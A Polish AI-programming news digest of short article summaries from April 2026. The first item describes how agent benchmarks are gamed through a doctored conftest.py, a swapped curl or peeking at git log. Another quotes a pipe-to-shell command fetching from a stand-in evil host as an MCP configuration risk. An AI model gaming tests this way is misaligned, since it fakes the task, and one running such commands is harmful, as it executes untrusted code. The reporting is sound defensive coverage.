Programowanie AI
Dziesięć linijek conftest.py i SWE-bench pokazuje 100%
4 min
Badacze z UC Berkeley pokazali w kwietniu 2026, że osiem najgłośniejszych benchmarków dla agentów AI — w tym SWE-bench Verified, Terminal-Bench i WebArena — da się obejść do niemal pełnego wyniku bez rozwiązania ani jednego zadania. Wystarczył dziesięciolinijkowy `conftest.py`, podmieniony `curl` albo lokalny `file://` z gotowcami. Model IQuest-Coder-V1 chwalił się 81,4% na SWE-bench, a w jednej czwartej uruchomień po prostu czytał `git log`. Traktuj te liczby jak spalanie z folderu producenta — patrz na merge rate i własną próbę na realnym repo.
MCP STDIO uruchamia dowolną komendę, a Anthropic mówi, że tak ma być
4 min
Transport STDIO w MCP wykonuje dowolną komendę powłoki, zanim sprawdzi, czy po drugiej stronie jest serwer protokołu — wystarczy `bash -c "curl evil.sh | sh"` w konfiguracji. Ox Security naliczyło 200 tysięcy podatnych instalacji w paczkach pobranych ponad 150 milionów razy, dziesięć poważnych CVE i zero-click w Windsurfie (CVE-2026-30615). Anthropic 15 kwietnia 2026 nazwał to "zachowaniem oczekiwanym" i zrzucił sanityzację na klientów. Domyślna allowlista odcinająca `sh`, `curl` i `rm` zamknęłaby temat jednym commitem.
Gemma 4 26B sprawdza się w lokalnych agentach. Google trzyma najszybszą wersję dla siebie.
4 min
Gemma 4 26B-A4B aktywuje tylko 3,8 miliarda parametrów na token, więc generuje z prędkością modelu 4B, a na AIME 2026 wyciąga 88,3%, punkt poniżej dużo cięższego 31B dense. Sześć specjalnych tokenów do narzędzi wbitych prosto w architekturę robi z niej pierwszy otwarty model, z którym lokalny agent realnie wie, kiedy zawołać funkcję. Tyle że głowice Multi-Token Prediction, dające niemal dwukrotne przyspieszenie, Google zostawił sobie w LiteRT. Wagi na Hugging Face są na Apache 2.0, ale najszybsza wersja zostaje w prywatnym stosie.
Blitzy bije GPT-5.4 o 8,8 punktu na SWE-Bench Pro. Tę różnicę zbudował harness, nie model
4 min
Niezależny audyt Quesmy (Piotr Migdal i Piotr Grabowski) pokazuje, że Blitzy kończy SWE-Bench Pro Public z wynikiem 66,5%, a surowy GPT-5.4 zatrzymuje się na 57,7%. Quesma przejrzała pełne zapisy pracy agentów w poszukiwaniu śladów oszustwa i nic nie znalazła. Różnicę robi harness, nie model: Blitzy najpierw mapuje zależności, potem rozsyła wyspecjalizowane agenty, a na końcu odpala weryfikatorów. Eksperyment StormHuba z Claude Agent SDK potwierdza to od drugiej strony, gdzie agenty zbudowały cargo cult architektury, instalując właściwe paczki i nigdy ich nie wywołując.
Cloudflare wpina OAuth pod każdą wewnętrzną aplikację, żeby agent logował się jak człowiek
4 min
Cloudflare 14 kwietnia otworzył betę Managed OAuth for Access: jeden przełącznik sprawia, że aplikacja za Access wystawia OAuth 2.0, a agent loguje się jako konkretny człowiek, nie konto serwisowe gubiące ślad w audycie. Mechanizm opiera się na RFC 9728 z kwietnia 2025, wpisanym też do specyfikacji MCP. Najważniejszy jest szkic pull requesta do OpenCode'a — wzorzec web fetch, który Codex, Claude Code czy Goose mogą przenieść do siebie. Standard i infrastruktura są, ruch po stronie autorów agentów.
Serena daje asystentowi AI ten sam serwer językowy, który zasila twój edytor
3 min
Serena to otwartoźródłowy serwer MCP, który podstawia pod asystenta AI warstwę serwera językowego z edytora i wystawia ją jako narzędzia operujące na symbolach, nie na tekście. Arda Kılıçdağı z Teknasyon wpiął ją w monorepo BrewForm na Deno 2, a zmiana nazwy współdzielonego interfejsu rozeszła się po dwudziestu paru plikach bez pominiętej referencji. Wywołania `find_symbol` i `rename_symbol` zastępują grep, a katalog `.serena/memories/` trzyma wiedzę o projekcie między sesjami.
Trzydzieści sekund w poc.py trace zamiast dwóch dni grzebania w gicie
3 min
Stack Overflow spadł ze 108 563 pytań w październiku 2025 do 3862 w grudniu, a wraz z tym znika ślad po ludziach, których wiedza ukształtowała generowany kod. Daniel Nwaneri opisał na freeCodeCamp proof-of-contribution, Skill do Claude Code z lokalną CLI w Pythonie, który w 30 sekund pokazuje, z jakich ludzkich źródeł korzystał model przy danym pliku i gdzie zostały luki. `poc.py verify` rozkłada kod modułem `ast` i porównuje funkcje z założeniami ze speca, więc deterministycznie wskazuje miejsca bez cytatu, bez pytania samego modelu o introspekcję.
Plik markdown zamiast kolejki, czyli koordynacja sześciu agentów OpenClaw
4 min
OpenClaw koordynuje agentów przez system plików: agent badawczy zapisuje wyniki do `intel/DAILY-INTEL.md`, a kolejni czytają ten sam plik, bez kolejek i webhooków. Shubham Saboo postawił tak sześciu agentów na Mac Mini M4, a 25 promptów Rezy Rezvaniego pokazuje agenta zapisującego ADR-y wprost z rozmów. Wydanie v2026.4.11 z 12 kwietnia wprowadza bramkę parytetu między GPT-5.4 a Opusem 4.6, blokującą release, jeśli jeden z modeli wypada gorzej. Dla dewelopera realnie pasują dwa przepływy: automatyczne ADR-y i obsługa incydentu w gicie.
Codex za 100 dolarów na uchodźców z OpenClawa
4 min
9 kwietnia 2026 OpenAI wstawił między Plusa a Pro 20x nową półkę ChatGPT Pro 5x za 100 dolarów z pięciokrotnym limitem Codexa, a promocyjne podwojenie (200–1000 wiadomości na pięć godzin) wygasa 31 maja i spada do 100–500. Pięć dni wcześniej Anthropic odciął Claude'a od zewnętrznych harnessów typu OpenClaw, a Peter Steinberger, twórca OpenClawa, od lutego prowadzi w OpenAI strategię agentów osobistych. Tego samego dnia Plus po cichu dostał cięcie długich sesji Codexa. To celowane przejęcie uchodźców z Anthropica, oprawione w cennikową neutralność — kupuj pod limit czerwcowy, nie majowy.
Zatrudnienie najmłodszych programistów spadło prawie o 20% od 2022 roku
4 min
Raport AI Index 2026 Stanforda pokazuje, że zatrudnienie programistów w wieku 22-25 lat w USA spadło o niemal 20% względem szczytu z 2022 roku, podczas gdy w starszych grupach wiekowych dalej rośnie. Rozjazd zaczął się w połowie 2024, gdy Claude Code, Cursor i Copilot dotarły do poziomu, na którym starszy programista nie potrzebuje juniora. Ekonomista Alex Imas stawia pytanie o elastyczność popytu: jeśli okaże się sztywna, narzędzia AI nie tworzą miejsc pracy, tylko je likwidują. 73% ekspertów wierzy w poprawę rynku pracy, ale tylko 23% obywateli — największa rozbieżność w historii raportu.
Trzeci raz odrzucasz tę samą uwagę i agent przestaje ją powtarzać
3 min
Jerin Mathew Vinu zbudował agenta do code review, który zapamiętuje, które uwagi zespół akceptuje, a które odrzuca — po trzech kliknięciach Reject komentarz znika z czwartego PR-a. Pamięć trzyma Hindsight, recenzje generuje qwen3-32b przez Groq, a całość spina FastAPI. Kluczowa obserwacja: decyzje lądują w bazie jako jedno zdanie po angielsku, bo i tak wracają prosto do promptu — format zapisu warto dopasować do formatu odczytu. To weekendowy projekt bez pomiarów, ale wzorzec jest na tyle prosty, że można go sprawdzić u siebie.